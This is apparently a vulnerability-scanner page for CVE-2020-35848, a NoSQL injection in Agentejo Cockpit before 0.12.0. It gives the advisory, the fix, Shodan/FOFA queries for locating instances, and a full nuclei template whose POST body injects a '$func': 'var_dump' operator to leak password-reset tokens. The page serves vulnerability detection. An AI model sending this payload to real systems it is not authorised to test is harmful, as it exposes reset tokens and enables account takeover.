Agentejo Cockpit <0.12.0 - NoSQL Injection

criticalseverity

9.8CVSS score

74.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Agentejo Cockpit prior to 0.12.0 is vulnerable to NoSQL Injection via the newpassword method of the Auth controller, which is responsible for displaying the user password reset form.

Impact

Successful exploitation of this vulnerability could allow an attacker to manipulate database queries, potentially leading to unauthorized access, data leakage, or data corruption.

Fix

Upgrade Agentejo Cockpit to version 0.12.0 or later to mitigate this vulnerability.

How to confirm it

Send: POST {{BaseURL}}/auth/newpassword
Positive when: matches /string\([0-9]{1,3}\)(\s)?"rp-([a-f0-9-]+)"/

Run it with nuclei: nuclei -id CVE-2020-35848 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-35848

info:
  name: Agentejo Cockpit <0.12.0 - NoSQL Injection
  author: dwisiswant0
  severity: critical
  description: Agentejo Cockpit prior to 0.12.0 is vulnerable to NoSQL Injection via the newpassword method of the Auth controller, which is responsible for displaying the user password reset form.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to manipulate database queries, potentially leading to unauthorized access, data leakage, or data corruption.
  remediation: |
    Upgrade Agentejo Cockpit to version 0.12.0 or later to mitigate this vulnerability.
  reference:
    - https://swarm.ptsecurity.com/rce-cockpit-cms/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35848
    - https://getcockpit.com/
    - https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466
    - https://github.com/agentejo/cockpit/commit/33e7199575631ba1f74cba6b16b10c820bec59af
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35848
    cwe-id: CWE-89
    epss-score: 0.74591
    epss-percentile: 0.99501
    cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: agentejo
    product: cockpit
    shodan-query:
      - http.favicon.hash:688609340
      - http.html:"cockpit"
    fofa-query:
      - icon_hash=688609340
      - body="cockpit"
  tags: cve,cve2020,nosqli,sqli,cockpit,injection,agentejo,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/auth/newpassword"

    body: |
      {
        "token": {
          "$func": "var_dump"
        }
      }

    headers:
      Content-Type: application/json
    matchers:
      - type: regex
        part: body
        regex:
          - 'string\([0-9]{1,3}\)(\s)?"rp-([a-f0-9-]+)"'

References

Use this check only on systems you are authorised to test. Where the data comes from